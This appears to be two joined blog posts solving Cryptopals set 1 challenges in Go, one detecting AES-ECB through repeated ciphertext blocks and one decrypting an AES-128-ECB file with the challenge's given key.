the problem with ECB is that it is stateless and deterministic; the same 16 byte plaintext block will always produce the same 16 byte ciphertext.

So we need to write function that can check to see if there are any repeating blocks in the given ciphertext.

func DetectAESInECBMode(ciphertext []byte, keySize int) bool {
    blocks := make(map[string]bool)

    for i := 0; i < len(ciphertext); i += keySize {
        block := string(ciphertext[i : i+keySize])
        if blocks[block] {
            return true
        }
        blocks[block] = true
    }

    return false
}

This function uses a map as a "lookup table" where we store each block from the ciphertext while we are looping through it. If the block already exists in the map we will now that a block has been repeated and therefore the ciphertext is encrypted with AES in ECB mode.

The complete solution can be found on GitHub.

Conclusion

This problem highlights the problem with the AES in ECB mode encryption, and that patterns in the ciphertext might leak information about the plaintext.

References

AES in ECB mode

Stefan Alfbo — Mon, 13 May 2024 19:26:25 +0000

This is the seventh crypto challenge in set 1 from cryptopals, which is the qualifying set.

The difficulty level is relatively easy, to solve this problem I have used the programming language Go.

Problem description

The Base64-encoded content in the file, 7.txt, has been encrypted via AES-128 in ECB mode under the key

YELLOW SUBMARINE

(case-sensitive; exactly 16 characters; I like "YELLOW SUBMARINE" because it's exactly 16 bytes long, and now you do too).

Decrypt it. You know the key, after all.

Easiest way: use OpenSSL::Cipher and give it AES-128-ECB as the cipher.

Do this with code.

You can obviously decrypt this using the OpenSSL command-line tool, but we're having you get ECB working in code for a reason. You'll need it a lot later on, and not just for attacking ECB.

Solution

Here we need to figure out how to use the crypto packages that are available in Go. The ECB mode is considered insecure and therefore there is no support for that mode out of the box in Go's crypto packages. However the mode is quite simple to implement anyway, and Wikipedia give us this short explanation of the ECB mode.

The simplest of the encryption modes is the electronic codebook (ECB) mode. The message is divided into blocks, and each block is encrypted separately.

The following unit test is created just to get the output for the decryption while trying out how to implement the decryption, AES with ECB mode.

func TestDecryptAESWithECBMode(t *testing.T) {
    plaintext, err := basics.DecryptAESWithECBMode("7.txt", []byte("YELLOW SUBMARINE"))
    if err != nil {
        t.Errorf("Unexpected error: %v", err)
    }

    t.Logf("Plaintext: %s", plaintext)
}

With that simple test we can easily see if our decryption is giving us a valid plaintext.

The implementation of the, DecryptAESWithECBMode, function looks like this.

func DecryptAESWithECBMode(filename string, key []byte) ([]byte, error) {
    ciphertext, err := decodeBase64File(filename)
    if err != nil {
        return nil, err
    }

    block, _ := aes.NewCipher(key)
    plaintext := make([]byte, len(ciphertext))
    blockSize := len(key)

    for start, end := 0, blockSize; start < len(ciphertext); start, end = start+blockSize, end+blockSize {
        block.Decrypt(plaintext[start:end], ciphertext[start:end])
    }

    return plaintext, nil
}

Here we are reusing the, decodeBase64File, function from the previous challenge to read the base64 encoded content from the file.

Then we create a new AES cipher block (aes.NewCipher(key)) based on the given key. The for loop is doing the ECB mode by decrypting each block in the ciphertext and adds it to the plaintext variable.

The complete solution can be found on GitHub.

Conclusion

This challenge is all about to learn to know your cryptographic libraries in the programming language you are using.

There is also a lot of parallels that can be drawn by comparing the ECB mode with the XOR implementations done in previous challenges.